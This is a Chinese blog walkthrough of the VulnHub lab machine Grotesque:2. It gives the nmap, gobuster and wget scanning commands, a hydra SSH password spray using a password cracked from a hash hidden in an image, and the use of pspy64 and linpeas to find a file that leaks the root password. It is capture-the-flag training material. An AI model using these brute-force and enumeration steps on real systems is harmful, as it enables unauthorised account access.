程序员经验分享-hwhale

靶机渗透练习91-Grotesque：2

2023-05-16

靶机描述

靶机地址：https://www.vulnhub.com/entry/grotesque-2,673/

Description

get flags

difficulty: medium

about vm: do not touch ram allocation. vm needs 4gb of ram. tested and exported from virtualbox. dhcp and nested vtx/amdv enabled. you can contact me by email for troubleshooting or questions.

This works better with VirtualBox rather than VMware

一、搭建靶机环境

攻击机Kali：

IP地址：192.168.9.3

靶机：

IP地址：192.168.9.10

注：靶机与Kali的IP地址只需要在同一局域网即可（同一个网段,即两虚拟机处于同一网络模式）

该靶机环境搭建如下

  1. 将下载好的靶机环境，导入 VritualBox，设置为 Host-Only 模式
  2. 将 VMware 中桥接模式网卡设置为 VritualBox 的 Host-only

二、实战

2.1网络扫描

2.1.1 启动靶机和Kali后进行扫描

方法一、arp-scan -I eth0 -l （指定网卡扫）

arp-scan -I eth0 -l

方法二、masscan 扫描的网段 -p 扫描端口号

masscan 192.168.184.0/24 -p 80,22

方法三、netdiscover -i 网卡-r 网段

netdiscover -i eth0 -r 192.168.184.0/24

方法四、等你们补充

2.1.2 查看靶机开放的端口

使用nmap -A -sV -T4 -p- 靶机ip查看靶机开放的端口

上边那个适合开了少量端口的，可以拿到一些详细信息

运行nmap -A -sV -T4 -p- -oN namp.txt 192.168.9.10先让他在一边跑着

由于这个靶机开发的端口太多了

咱们直接用nmap -sT 192.168.9.10 先扫一遍

⬢  Grotesque: 2  nmap -sT 192.168.9.10 
Starting Nmap 7.92 ( https://nmap.org ) at 2022-05-02 17:50 CST
Nmap scan report for bogon (192.168.9.10)
Host is up (0.0013s latency).
Not shown: 921 closed tcp ports (conn-refused)
PORT    STATE SERVICE
22/tcp  open  ssh
32/tcp  open  unknown
33/tcp  open  dsp
37/tcp  open  time
42/tcp  open  nameserver
43/tcp  open  whois
49/tcp  open  tacacs
53/tcp  open  domain
70/tcp  open  gopher
79/tcp  open  finger
80/tcp  open  http
81/tcp  open  hosts2-ns
82/tcp  open  xfer
83/tcp  open  mit-ml-dev
84/tcp  open  ctf
85/tcp  open  mit-ml-dev
88/tcp  open  kerberos-sec
89/tcp  open  su-mit-tg
90/tcp  open  dnsix
99/tcp  open  metagram
100/tcp open  newacct
106/tcp open  pop3pw
109/tcp open  pop2
110/tcp open  pop3
111/tcp open  rpcbind
113/tcp open  ident
119/tcp open  nntp
125/tcp open  locus-map
135/tcp open  msrpc
139/tcp open  netbios-ssn
143/tcp open  imap
144/tcp open  news
146/tcp open  iso-tp0
161/tcp open  snmp
163/tcp open  cmip-man
179/tcp open  bgp
199/tcp open  smux
211/tcp open  914c-g
212/tcp open  anet
222/tcp open  rsh-spx
254/tcp open  unknown
255/tcp open  unknown
256/tcp open  fw1-secureremote
259/tcp open  esro-gen
264/tcp open  bgmp
280/tcp open  http-mgmt
301/tcp open  unknown
306/tcp open  unknown
311/tcp open  asip-webadmin
340/tcp open  unknown
366/tcp open  odmr
389/tcp open  ldap
406/tcp open  imsp
407/tcp open  timbuktu
416/tcp open  silverplatter
417/tcp open  onmux
425/tcp open  icad-el
427/tcp open  svrloc
443/tcp open  https
444/tcp open  snpp
445/tcp open  microsoft-ds
458/tcp open  appleqtc
464/tcp open  kpasswd5
465/tcp open  smtps
481/tcp open  dvs
497/tcp open  retrospect
500/tcp open  isakmp
512/tcp open  exec
513/tcp open  login
514/tcp open  shell
515/tcp open  printer
524/tcp open  ncp
541/tcp open  uucp-rlogin
543/tcp open  klogin
544/tcp open  kshell
545/tcp open  ekshell
548/tcp open  afp
554/tcp open  rtsp
555/tcp open  dsf
MAC Address: 08:00:27:E7:87:C3 (Oracle VirtualBox virtual NIC)

Nmap done: 1 IP address (1 host up) scanned in 2.49

开放了太多端口了，每个端口还对应了相应的服务

等了一会儿结果出来了

# Nmap 7.92 scan initiated Mon May  2 17:45:06 2022 as: nmap -A -sV -T4 -p- -oN namp.txt 192.168.9.10
Nmap scan report for bogon (192.168.9.10)
Host is up (0.00062s latency).
Not shown: 65009 closed tcp ports (reset)
PORT    STATE SERVICE VERSION
22/tcp  open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
|_auth-owners: ERROR: Script execution failed (use -d to debug)
| ssh-hostkey: 
|   2048 6a:fe:d6:17:23:cb:90:79:2b:b1:2d:37:53:97:46:58 (RSA)
|   256 5b:c4:68:d1:89:59:d7:48:b0:96:f3:11:87:1c:08:ac (ECDSA)
|_  256 61:39:66:88:1d:8f:f1:d0:40:61:1e:99:c5:1a:1f:f4 (ED25519)
31/tcp  open  http    PHP cli server 5.5 or later
|_auth-owners: ERROR: Script execution failed (use -d to debug)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
32/tcp  open  http    PHP cli server 5.5 or later
|_auth-owners: ERROR: Script execution failed (use -d to debug)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
.
.
.一样的省略了
.
.
80/tcp  open  http    PHP cli server 5.5 or later
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
|_auth-owners: ERROR: Script execution failed (use -d to debug)
81/tcp  open  http    PHP cli server 5.5 or later
|_auth-owners: ERROR: Script execution failed (use -d to debug)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
.
.
.一样的省略了
.
.
555/tcp open  http    PHP cli server 5.5 or later
|_auth-owners: ERROR: Script execution failed (use -d to debug)
|_http-title: Site doesn't have a title (text/html; charset=UTF-8).
MAC Address: 08:00:27:E7:87:C3 (Oracle VirtualBox virtual NIC)
Device type: general purpose
Running: Linux 4.X|5.X
OS CPE: cpe:/o:linux:linux_kernel:4 cpe:/o:linux:linux_kernel:5
OS details: Linux 4.15 - 5.6
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Host script results:
|_smb2-time: Protocol negotiation failed (SMB2)

TRACEROUTE
HOP RTT     ADDRESS
1   0.62 ms bogon (192.168.9.10)

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Mon May  2 17:56:12 2022 -- 1 IP address (1 host up) scanned in 665.77 seconds

可以发现一大堆都是http

2.2枚举漏洞

2.2.1 80 端口分析

由于开放端口太多，咱们照旧先访问80：http://192.168.9.10/

image-20220502175610830

源码也没东西，扫描一下目录

⬢  Grotesque: 2  gobuster dir -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -u http://192.168.9.10 -x php,html,txt,zip,bak
===============================================================
Gobuster v3.1.0
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.9.10
[+] Method:                  GET
[+] Threads:                 10
[+] Wordlist:                /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.1.0
[+] Extensions:              html,txt,zip,bak,php
[+] Timeout:                 10s
===============================================================
2022/05/02 17:54:55 Starting gobuster in directory enumeration mode
===============================================================
Error: the server returns a status code that matches the provided options for non existing urls. http://192.168.9.10/74c31a13-d670-419d-ab99-a39422881851 => 200 (Length: 412). To continue please exclude the status code, the length or use the --wildcard switch
⬢  Grotesque: 2

很明显，突破口不是这里

2.2.2 全端口分析

根据nmap的扫描结果，可以发现后边的端口都是http

随便拿几个访问，发现页面都是一样的

我决定用wget去把这些页面下载下来看一下文件是否有区别

for i in {23..600};do wget 192.168.9.10:$i -O index$i;done

成功下载来直接运行ls -al | sort进行排序
image-20220502182958247

发现除了258是762字节，其他页面均是412字节

2.2.3 258端口分析

访问：http://192.168.9.10:258/

image-20220502182806684

看到有ssh的几个用户名

atan、raphael、angel、distress、greed、lust

基本可以确定要进行ssh密码暴力破解 但是字典怎么生成呢

image-20220502183118444

然后看到第二行的图片是可以打开的

image-20220502183242948

这个颜色有点不一样，放大看到这里有一串hash值

image-20220502183341857

就这么看，看的很模糊

image-20220502183808897

这就清楚很多了:b6e705ea1249e2bb7b01d7dac91cd0b3

使用 CrackStation 来破解它

image-20220502184616006

得到密码值为solomon1

创建字典users.txt

atan
raphael
angel
distress
greed
lust

使用hydra进行爆破：hydra -L users.txt -p solomon1 ssh://192.168.9.10 -f

⬢  Grotesque: 2  hydra -L users.txt -p solomon1 ssh://192.168.9.10 -f
Hydra v9.3 (c) 2022 by van Hauser/THC & David Maciejak - Please do not use in military or secret service organizations, or for illegal purposes (this is non-binding, these *** ignore laws and ethics anyway).

Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2022-05-02 18:51:24
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 6 tasks per 1 server, overall 6 tasks, 6 login tries (l:6/p:1), ~1 try per task
[DATA] attacking ssh://192.168.9.10:22/
[22][ssh] host: 192.168.9.10   login: angel   password: solomon1
[STATUS] attack finished for 192.168.9.10 (valid pair found)
1 of 1 target successfully completed, 1 valid password found
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2022-05-02 18:51:25

成功爆破出用户密码angel ,solomon1

尝试登录

⬢  Grotesque: 2  ssh angel@192.168.9.10 
The authenticity of host '192.168.9.10 (192.168.9.10)' can't be established.
ED25519 key fingerprint is SHA256:P07e9iTTwbyQae7lGtYu8i4toAyBfYkXY9/kw/dyv/4.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.9.10' (ED25519) to the list of known hosts.
angel@192.168.9.10's password: 
Linux grotesque 4.19.0-13-amd64 #1 SMP Debian 4.19.160-2 (2020-11-28) x86_64

The programs included with the Debian GNU/Linux system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Debian GNU/Linux comes with ABSOLUTELY NO WARRANTY, to the extent
permitted by applicable law.
angel@grotesque:~$

2.3漏洞利用

无

2.4权限提升

2.4.1 信息收集

查看当前目录下有什么东西

angel@grotesque:~$ ls -al
total 52
drwxr-xr-x 4 angel angel  4096 Mar 27  2021 .
drwxr-xr-x 3 root  root   4096 Mar 27  2021 ..
drwxr-xr-x 2 angel angel 36864 Mar 27  2021 quiet
drwx------ 2 angel angel  4096 Mar 27  2021 .ssh
-r-x------ 1 angel angel  1805 Jan  3  2021 user.txt
angel@grotesque:~$ cat user.txt 
flag 1/2
░░░░░░▄▄▄▄▀▀▀▀▀▀▀▀▄▄▄▄▄▄▄
░░░░░█░░░░░░░░░░░░░░░░░░▀▀▄
░░░░█░░░░░░░░░░░░░░░░░░░░░░█
░░░█░░░░░░▄██▀▄▄░░░░░▄▄▄░░░░█
░▄▀░▄▄▄░░█▀▀▀▀▄▄█░░░██▄▄█░░░░█
█░░█░▄░▀▄▄▄▀░░░░░░░░█░░░░░░░░░█
█░░█░█▀▄▄░░░░░█▀░░░░▀▄░░▄▀▀▀▄░█
░█░▀▄░█▄░█▀▄▄░▀░▀▀░▄▄▀░░░░█░░█
░░█░░░▀▄▀█▄▄░█▀▀▀▄▄▄▄▀▀█▀██░█
░░░█░░░░██░░▀█▄▄▄█▄▄█▄▄██▄░░█
░░░░█░░░░▀▀▄░█░░░█░█▀█▀█▀██░█
░░░░░▀▄░░░░░▀▀▄▄▄█▄█▄█▄█▄▀░░█
░░░░░░░▀▄▄░░░░░░░░░░░░░░░░░░░█
░░░░░█░░░░▀▀▄▄░░░░░░░░░░░░░░░█
░░░░▐▌░░░░░░█░▀▄▄▄▄▄░░░░░░░░█
░░███░░░░░▄▄█░▄▄░██▄▄▄▄▄▄▄▄▀
░▐████░░▄▀█▀█▄▄▄▄▄█▀▄▀▄
░░█░░▌░█░░░▀▄░█▀█░▄▀░░░█
░░█░░▌░█░░█░░█░░░█░░█░░█
░░█░░▀▀░░██░░█░░░█░░█░░█
░░░▀▀▄▄▀▀░█░░░▀▄▀▀▀▀█░░█



angel@grotesque:~$

成功拿到flag1，同时发现有新目录quiet

查看quiet目录下有什么

image-20220502185616014

不知道是啥东西

上传一个pspy64看一下有什么计划任务

这里我用Filezilla，当然这里也可以用wget啥的

image-20220502190115854

赋予权限，然后运行一下

chmod 777 pspy64
./pspy64

image-20220502190436027

显示脚本write.sh和check.sh在一些固定时间间隔后运行

这里咱们目前没有权限去查看内容

angel@grotesque:/tmp$ cat /root/check.sh
cat: /root/check.sh: Permission denied
angel@grotesque:/tmp$ cat /root/write.sh
cat: /root/write.sh: Permission denied
angel@grotesque:/tmp$

上边咱们发现/home/angel/quiet文件夹中有一些莫名其妙的东西，是不是就是这个脚本写的

尝试删除中的所有文件，看看会发生什么

两个脚本运行后，它会在 quiet 文件夹中再次创建文件，但都是相同的

image-20220502194104373

恩，，，再上传一个linpeas.sh看看吧

它在最近 5 分钟内在/根目录下修改的文件rootcreds.txt

查看其内容

angel@grotesque:/tmp$ cd /
angel@grotesque:/$ ls
bin  boot  dev  etc  home  initrd.img  initrd.img.old  lib  lib32  lib64  libx32  lost+found  media  mnt  opt  proc  root  rootcreds.txt  run  sbin  srv  sys  tmp  usr  var  vmlinuz  vmlinuz.old
angel@grotesque:/$ cat root
root/          rootcreds.txt  
angel@grotesque:/$ cat rootcreds.txt 
root creds

root
sweetchild
root creds

root
sweetchild
angel@grotesque:

这个应该就是密码了

尝试切换root

angel@grotesque:/$ su root
Password: 
root@grotesque:/# cd /root
root@grotesque:~# ls
check.sh  logdel2  real  real.sh  root.txt  test  upit2.sh  upit.sh  write.sh
root@grotesque:~# cat root.txt 
flag 2/2
░░░░░░▄▄▄▄▀▀▀▀▀▀▀▀▄▄▄▄▄▄▄
░░░░░█░░░░░░░░░░░░░░░░░░▀▀▄
░░░░█░░░░░░░░░░░░░░░░░░░░░░█
░░░█░░░░░░▄██▀▄▄░░░░░▄▄▄░░░░█
░▄▀░▄▄▄░░█▀▀▀▀▄▄█░░░██▄▄█░░░░█
█░░█░▄░▀▄▄▄▀░░░░░░░░█░░░░░░░░░█
█░░█░█▀▄▄░░░░░█▀░░░░▀▄░░▄▀▀▀▄░█
░█░▀▄░█▄░█▀▄▄░▀░▀▀░▄▄▀░░░░█░░█
░░█░░░▀▄▀█▄▄░█▀▀▀▄▄▄▄▀▀█▀██░█
░░░█░░░░██░░▀█▄▄▄█▄▄█▄▄██▄░░█
░░░░█░░░░▀▀▄░█░░░█░█▀█▀█▀██░█
░░░░░▀▄░░░░░▀▀▄▄▄█▄█▄█▄█▄▀░░█
░░░░░░░▀▄▄░░░░░░░░░░░░░░░░░░░█
░░▐▌░█░░░░▀▀▄▄░░░░░░░░░░░░░░░█
░░░█▐▌░░░░░░█░▀▄▄▄▄▄░░░░░░░░█
░░███░░░░░▄▄█░▄▄░██▄▄▄▄▄▄▄▄▀
░▐████░░▄▀█▀█▄▄▄▄▄█▀▄▀▄
░░█░░▌░█░░░▀▄░█▀█░▄▀░░░█
░░█░░▌░█░░█░░█░░░█░░█░░█
░░█░░▀▀░░██░░█░░░█░░█░░█
░░░▀▀▄▄▀▀░█░░░▀▄▀▀▀▀█░░█

congratulations!

root@grotesque:~#

成功拿到flag2

回头看看check.sh以及write.sh

root@grotesque:~# cat check.sh 
#!/bin/bash

cd /home/angel/quiet
if [[ $(ls) == "" ]]; then
        echo "root creds" >> /rootcreds.txt
        echo "" >> /rootcreds.txt
        echo "root" >> /rootcreds.txt
        echo "sweetchild" >> /rootcreds.txt
        chmod 777 /rootcreds.txt
fi
root@grotesque:~# cat write.sh 
#!/bin/bash

cd /home/angel/quiet
for i in {1..2323}; do echo "quiet" >> $i; done
root@grotesque:~#

check.sh 运行时，在/home/angel/quiet 中执行ls 命令，如果没有文件，则将root creds 写入/目录下名为rootcreds.txt 的文件中，并赋予其读、写和执行权限。

write.sh 创建从 1 到 2323 的文件，并在所有这些文件中写入quiet

总结

又是一个挺有意思的靶机

  1. 信息收集
  2. hydra爆破ssh
本文内容由网友自发贡献，版权归原作者所有，本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容，请联系:hwhale#tublm.com(使用前将#替换为@)

Grotesque

靶机渗透练习

靶机渗透练习91-Grotesque：2 的相关文章

  • IntelliJ IDEA Cannot find declaration to go to

    最近在用IntelliJ IDEA开发一个微服务的项目的时候 xff0c 从git clone了代码 xff0c 再用IntelliJ IDEA导入项目以后 项目里好多方法 类和属性都无法转到定义或者声明处 xff0c 无论是Ctrl 43

随机推荐

  • CString转char * ,string

    CString头文件 include lt afx h gt string头文件 include lt string h gt 1 CString转char CString cstr char p 61 LPSTR LPCTSTR cstr

  • GPS数据包格式+数据解析

    GPS数据包格式 43 数据解析 一 全球时区的划分 xff1a 每个时区跨15 经度 以0 经线为界向东向西各划出7 5 经度 xff0c 作为0时区 即0时区的经度范围是7 5 W 7 5 E 从7 5 E与7 5 W分别向东 向西每1

  • 在C#中使用libcurl库

    几乎在所有的linux发行版中 xff0c 默认都是包含有libcurl库的 那么 xff0c libcurl是使用C开发的 xff0c 自然 xff0c 当你用C或C 43 43 使用libcurl库的时候很方便 但是 xff0c 如果你

  • Linux下chrony授时监测脚本

    1 背景概述 Linux下基于gpsd 43 chrony授时 xff0c 在有些情况下会存在收敛慢或者参考时间选择错误问题 xff0c 因此需要授时监测脚本进行监测 xff0c 便于在异常时候发现并处理 2 gpsd 43 chrony授

  • 关于linux下shell输出^M特殊字符的处理

    shell中echo输出时 M特殊字符的处理 今天在csdn论坛看一网友发了一个帖子 xff1a https bbs csdn net topics 392668752 post 403986636 xff0c 我很好奇 xff0c 于是将

  • VS2010(VS2017)+Boost_1_68_0环境搭建

    文 Seraph 一 下载 首先从Boost下载官网下载源码 xff0c 当然你也可以下载编译好的库文件直接用 我下载的是boost 1 68 0 zip 解压到某个目录下 xff0c 我解压到了D盘根目录 xff1a E boost 1

  • 2.gstreamer USB摄像头RTSP推流

    目录 1 操作系统版本 2 使用gstreamer播放mp4文件 3 采集USB摄像头视频源 xff0c 并RTSP推流 4 使用RTSP播放器播放 5 注意事项 1 操作系统版本 使用的虚拟机加ubuntu 20 04 2 使用gstre

  • 3.gstreamer UDP推流RTP及拉流播放

    目录 1 将H264数据流打包为RTP包 xff0c 然后UDP推流 2 UDP client拉流 xff0c 然后RTSP传输 3 easyplayer rtsp exe播放器播放RTSP数据流 将H264打包为RTP包 xff0c 然后

  • 靶机渗透练习80-Momentum：1

    靶机描述 靶机地址 xff1a https www vulnhub com entry momentum 1 685 Description Info easy medium 一 搭建靶机环境 攻击机Kali xff1a IP地址 xff1

  • 靶机渗透练习81-Momentum：2

    靶机描述 靶机地址 xff1a https www vulnhub com entry momentum 2 702 Description Difficulty mediumKeywords curl bash code review T

  • STM32F407单片机上开发MODBUS RTU 多主站程序（二）

    STM32F407单片机上开发MODBUS RTU 多主站程序 xff08 一 xff09 STM32F407单片机上开发MODBUS RTU 多主站程序 xff08 二 xff09 前面一篇文章 STM32F407单片机上开发MODBUS

  • 靶机渗透练习82-The Planets：Mercury

    靶机描述 靶机地址 xff1a https www vulnhub com entry the planets mercury 544 Description Difficulty Easy Mercury is an easier box

  • 靶机渗透练习83-The Planets：Venus

    靶机描述 靶机地址 xff1a https www vulnhub com entry the planets venus 705 Description Difficulty Medium Venus is a medium box re

  • 靶机渗透练习84-The Planets：Earth

    靶机描述 靶机地址 xff1a https www vulnhub com entry the planets earth 755 Description Difficulty Easy Earth is an easy box thoug

  • 靶机渗透练习85-HackathonCTF 1

    靶机描述 靶机地址 xff1a https www vulnhub com entry hackathonctf 1 591 Description N A 一 搭建靶机环境 攻击机Kali xff1a IP地址 xff1a 192 168

  • 靶机渗透练习87-IA：Keyring (1.0.1)

    靶机描述 靶机地址 xff1a https www vulnhub com entry ia keyring 101 718 Description Difficulty IntermediateGoal Get the root shel

  • 靶机渗透练习86-HackathonCTF 2

    靶机描述 靶机地址 xff1a https www vulnhub com entry hackathonctf 2 714 Description Difficulty Easy This is a basic level BootToR

  • 靶机渗透练习89-IA：Nemesis (1.0.1)

    靶机描述 靶机地址 xff1a https www vulnhub com entry ia nemesis 101 582 Description Difficulty Intermediate to HardGoal Get the r

  • 靶机渗透练习90-Grotesque：1.0.1

    靶机描述 靶机地址 xff1a https www vulnhub com entry grotesque 101 658 Description get flags difficulty medium about vm tested an

  • 靶机渗透练习91-Grotesque：2

    靶机描述 靶机地址 xff1a https www vulnhub com entry grotesque 2 673 Description get flags difficulty medium about vm do not touc

热门标签